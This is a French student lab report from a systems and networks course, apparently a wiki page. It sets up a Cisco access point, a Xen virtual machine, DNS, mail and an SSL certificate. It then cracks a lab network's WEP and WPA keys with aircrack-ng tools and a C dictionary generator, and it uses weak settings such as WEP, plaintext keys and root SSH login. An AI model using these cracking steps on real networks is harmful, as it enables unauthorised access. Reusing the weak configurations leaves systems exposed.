TP sysres IMA2a5 2015/2016 G3

De Wiki de Projets IMA

Projet Système & Réseaux IMA2A S9


Partie I - Configuration du point d’accès

a) Restriction par adresse MAC

Ci-dessous, le tableau regroupant Les adresses et Vlan associés aux élèves :

Nomadresse MAC
Nounours00:15:af:e7::19:f3
Jeuno00:15:af:e6:ed:b1
John00:22:43:43:e7:7d
Loki00:15:af:e7:64:03

On récupère les adresses mac comme ci dessous.

pifou@heron:~$ su
Mot de passe : 
root@heron:/home/pifou# ifconfig 
lo        Link encap:Boucle locale  
          inet adr:127.0.0.1  Masque:255.0.0.0
          adr inet6: ::1/128 Scope:Hôte
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:2348 errors:0 dropped:0 overruns:0 frame:0
          TX packets:2348 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 lg file transmission:0 
          RX bytes:244556 (238.8 KiB)  TX bytes:244556 (238.8 KiB)

wlan0     Link encap:Ethernet  HWaddr 00:22:43:43:e7:7d  
          inet adr:172.26.79.61  Bcast:172.26.79.255  Masque:255.255.240.0
          adr inet6: fe80::222:43ff:fe43:e77d/64 Scope:Lien
          adr inet6: 2001:660:4401:6006:222:43ff:fe43:e77d/64 Scope:Global
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:12046 errors:0 dropped:1471 overruns:0 frame:0
          TX packets:9787 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 lg file transmission:1000 
          RX bytes:7742849 (7.3 MiB)  TX bytes:1442360 (1.3 MiB)


1) Configuration du point d’accès Cisco

Conexion a la borne Cisco : -Branchement en comunication serie sur le port RJ45 (Console de la Cisco).

pifou@zabeth04:~$ su
pifou@zabeth04:~$ minicom

// conexion au point Cisco 
ap#enable
ap#Config t 

Il faut autoriser les adresses mac désignés à ce connecter aux point d’accès et refuser l’accès des autres

ap(config)#no access-list 701 deny  0000.0000.0000 ffff.ffff.ffff               
ap(config)#access-list 701 permit  0015.afe7.6403  0000.0000.0000               
ap(config)#access-list 701 permit  0015.afe6.edb1  0000.0000.0000 
ap(config)#access-list 701 permit  0015.afe7.19f3  0000.0000.0000
ap(config)#access-list 701 permit  0015.afe6.edb1  0000.0000.0000 
ap(config)#access-list 701 deny    0000.0000.0000  ffff.ffff.ffff 


Configuration du SSID

ap(config)#dot11 ssid T2
ap(config-ssid)#dot11 ssid T2 
ap(config-ssid)#authentication open
ap(config-ssid)#guest-mode 
ap(config)#interface dot11Radio0 

ap(config-if)#ssid T2
ap(config-if)#encryption key 1
ap(config-if)#encryption key 1 size 40bit 0 01abcd1532 transmit-key
ap(config-if)#encryption mode Wep mandatory 
end

ap(config)#interface Dot11Radio0
ap(config-if)#no shutdown

Pour voir si des machines sont connecté sur le point d’accès </pre> sh do11 associations </pre>

1) Configuration du Wifi sur l'eeePC

Configuration:

root@heron:/home/pifou# cat /etc/network/interfaces
source /etc/network/interfaces.d/*

# The loopback network interface
auto lo
iface lo inet loopback

# Ethernet interface
#auto eth0
#iface eth0 inet static
#  address 172.26.79.241
#  netmask 255.255.240.0
#  gateway 172.26.79.254

auto wlan0
iface wlan0 inet static
	wireless-mode managed
	wireless-essid T2
	wireless-key 1111111111
	address 172.26.79.61
	netmask 255.255.240.0
	gateway 172.26.79.254

conexion au PA

ifup wlan0
iwconfig wlan0 essid T2

on est bien connecté :

wlan0     IEEE 802.11bgn  ESSID:"T2"  
          Mode:Managed  Frequency:2.447 GHz  Access Point: C4:14:3C:12:EA:00   
          Bit Rate=54 Mb/s   Tx-Power=20 dBm   
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Encryption key:1111-1111-11
          Power Management:off
          Link Quality=70/70  Signal level=-38 dBm  
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:4104   Missed beacon:0

lo        no wireless extensions.

eth0      no wireless extensions.


Partie II - Installation de la machine virtuel

// Conexion au serveur 
ssh root@cordouan.insecserv.deule.net

// Création de la Machine virtuel ( nom : chien)
xen-create-image --hostname chien --ip 193.48.57.181 --dir /usr/local/xen

// On observe la virtualisation
tail -f /var/log/xen-tools/chien.log

root@cordouan:~# cd /etc/xen/
root@cordouan:/etc/xen# vim chien.cfg 
// on met plus de memoire  => 1024
// conexion en mode bridge=IMA2a

root@cordouan:/etc/xen# xl list
root@cordouan:/etc/xen# xl create chien.cfg

connexion à notre MV:

ssh root@cordouan.insecserv.deule.net
root@cordouan:/etc/xen# xl console chien
/etc/ssh/sshd_config
PermitRootLogin yes

if down eth0 
ifup etho
apt-get purge network-manage systemd 
/etc/inittable
// fin ligne tty0 ==> hvc0
// Configuration de eth0
# The primary network interface
auto eth0
iface eth0 inet static
 address 193.48.57.181
 netmask 255.255.255.240
 gatway 193.48.57.190

root@chien:~# ifdown eth0 
root@chien:~# ifup eth0

Serveur DNS modification du fichier /var/cache/bind option

nano /etc/bind/named.conf.options 



   59  apt-get install vim strace tcpdump 
   60  apt-get install host
   61  host -t ni love-in-the-world.space
   62  host -t any love-in-the-world.space
   68  vim named.conf.options 
   69  cp db.local db.love-in-the-world
   70  cat named.conf.default-zones 
   71  vim named.conf.local 
   73  vim db.love-in-the-world 
   service bind9 stop
   76  service bind9 start
   77  cat /var/log/daemon.log
   78  vim db.love-in-the-world 
   service bind9 stop
   vim db.love-in-the-world 
   service bind9 start
   cat /var/log/daemon.log
   cat /var/log/daemon.log

Recuperation du certificat SSL

Instalation et Configuration de la boite Mail

 
 apt-get install postfix bsd-mailx

configuration de la boite mail

 #nano /etc/aliases
   postmaster:    root
   admin: root
 
 #newaliases
 #mailx

Je m'envoi un mail pour verifier le bon fonctionement de la boite mail E-mail: admin@love-in-the-world.space

Verfification:

#mailx
From Maxime.Strunc@polytech-lille.net  Fri Nov 20 13:22:24 2015
Return-Path: <Maxime.Strunc@polytech-lille.net>
X-Original-To: admin@love-in-the-world.space
Delivered-To: admin@love-in-the-world.space
Received: from peronne.escaut.net (peronne.escaut.net [193.48.57.26])
	by chien (Postfix) with ESMTP id E7DA93421F
	for <admin@love-in-the-world.space>; Fri, 20 Nov 2015 13:22:24 +0100 (CET)
X-Virus-Scanned: Debian amavisd-new at polytech-lille.fr
X-Virus-Scanned: Debian amavisd-new at polytech-lille.fr
Received: from webmailportal.polytech-lille.fr (hirson.escaut.net [193.48.57.37])
	(Authenticated sender: mstrunc)
	by peronne.escaut.net (Postfix) with ESMTPA id 305081C38
	for <admin@love-in-the-world.space>; Fri, 20 Nov 2015 11:33:52 +0100 (CET)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8;
 format=flowed
Content-Transfer-Encoding: 7bit
Date: Fri, 20 Nov 2015 11:33:52 +0100
From: Maxime Strunc <Maxime.Strunc@polytech-lille.net>
To: <admin@love-in-the-world.space>
Subject: Hello
Message-ID: <478f6b7d2da9875c32551984f2b92f9f@polytech-lille.net>
X-Sender: Maxime.Strunc@polytech-lille.net
User-Agent: Roundcube Webmail/0.7.2
Status: RO

Hey it's working

- Recupération du Certificat: Je vais sur Gandi.net

génération de la CSR

root@chien:~#   openssl req -nodes -newkey rsa:2048 -sha256 -keyout chien.key -out chien.csr
// Il ya plusieurs informations à rentrer, il y en a une très important : c'et le mail : 
admin@love-in-the-world.space

apres avoir renseigner tout les champs, j'obtient la CSR:

 -----BEGIN CERTIFICATE REQUEST-----
       ... texte crypter...
-----END CERTIFICATE REQUEST-----

Je la copie dans l'emplacement voulue sur gandi.net

Gandi m'envoi un mail a l'adresse informée "admin@love-in-the-world.space" Il faut donc clique sur un lien de confimation et entrer la cles fournit dans le mail. Une fois le certificat reçut, Je le copie et le colle dans le chien.crt et gandi.crt

Partie III - Installation de Debian sur les nouvelles machines


Partie IV - Cassage d'une cles Wifi

a) Préparation

- Instalation aircrack-ng


apt-get install aircrack-ng firmware ralink

- Instalation du port usb-Wifi

apt-get install firmware ralink
airmon-ng start wlan1

b) Cassage d'une cles WEP

Je scan le reseaux Wifi:

airodump-ng mon0 --channel 5

J’identifie le ssid de cracotte06 et je met les donnée dans un fichier nommé fcracotte06



root@Discus:/home/pifou# airodump-ng mon0 --channel 5 --bssid 04:DA:D2:9C:50:55 -w
fcracotte06

CH 5 ][ Elapsed: 0 s ][ 2015-11-20 09:05 

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

04:DA:D2:9C:50:55 -55 28 29 420 116 5 54e. WEP WEP cracotte06 

BSSID STATION PWR Rate Lost Frames Probe 

04:DA:D2:9C:50:55 00:0F:B5:92:23:74 -48 36e-54e 80 456 

La capture a donc commencé

Dans un autre terminal: Je vais analyser mon fichier de capture pour casser la cles.

ls
aircrack-ng fcracotte06-01.cap

apres quelque minutes on obtient la cles

                 [00:06:58] Tested 965565 keys (got 60459 IVs)

   KB    depth   byte(vote)
    0    0/  1   AA(85504) EA(73728) 60(70144) 0C(69120) 33(68608) 
    1    0/  1   AA(77824) 25(74496) BC(70400) 6C(70144) 3B(69632) 
    2    0/  1   AA(79872) 3E(70912) 76(70400) 5C(70144) 01(68864) 
    3    4/  5   AA(71680) FA(68608) 41(68352) 38(68096) 49(68096) 
    4    0/  1   AA(86016) A1(70912) 80(69632) 2A(68352) 65(68352) 
    5    0/  1   AA(85760) AF(73216) C6(71424) 5A(71168) 25(70400) 
    6    0/  1   AA(75520) 26(70400) CB(70400) 46(69888) 1C(69632) 
    7    0/  1   AA(83968) 18(71680) 4C(71424) 74(70144) 1E(69632) 
    8    0/  1   AA(82176) 6F(70912) F7(70144) FB(69632) 17(68864) 
    9    0/  3   D7(73216) 97(71168) A4(70400) BA(70144) FE(69632) 
   10    0/  1   5F(78336) D6(72960) 46(71424) CB(68608) 8D(68352) 
   11   13/  1   48(67072) 60(67072) F6(66816) AC(66560) 2B(66048) 
   12    0/  1   BB(79580) A7(71096) 8B(69960) 13(69196) 68(68424) 

             KEY FOUND! [ AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:BB:BB:BB ] 
	Decrypted correctly: 100%

c) Cassage d'une cles WPA

airodump-ng --encrypt wpa mon0

# airodump-ng --encrypt wpa mon0 -c 7 --bssid 04:DA:D2:9C:50:55 -w wpacracotte06

CH 7 ][ Elapsed: 26 mins ][ 2015-11-20 10:40 ][ WPA handshake: 04:DA:D2:9C:50:55 

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

04:DA:D2:9C:50:55 -70 22 9735 1905 18 7 54e. WPA2 CCMP PSK cracotte06 

BSSID STATION PWR Rate Lost Frames Probe 

04:DA:D2:9C:50:55 00:0F:B5:92:23:74 -70 54e- 1e 904 1249

- creation d'un dictionaire :

code C:

#include <stdio.h>
int main ()
{
int val=0;
for(val=0;val<99999999 ;val++)
{printf("%08d\n",val); }
return 0;
}

Compilation : </pre> gcc -Wall Dictionnaire.c -o Dictionnaire </pre>

Création : On exécute le programme Dictionnaire et on renvoi les résultats dans le fichier Dico

./Dictionnaire > Dico


Cassage de la cles: après avoir récuperer le Handshake du Wifi carotte06 Je vais casser la clés en utilisant mon dictionnaire "Dico" le fichier "wpacracotte06-02.cap"





mettre serveur messagerie demander certificat

securisation wifi WPA-EAP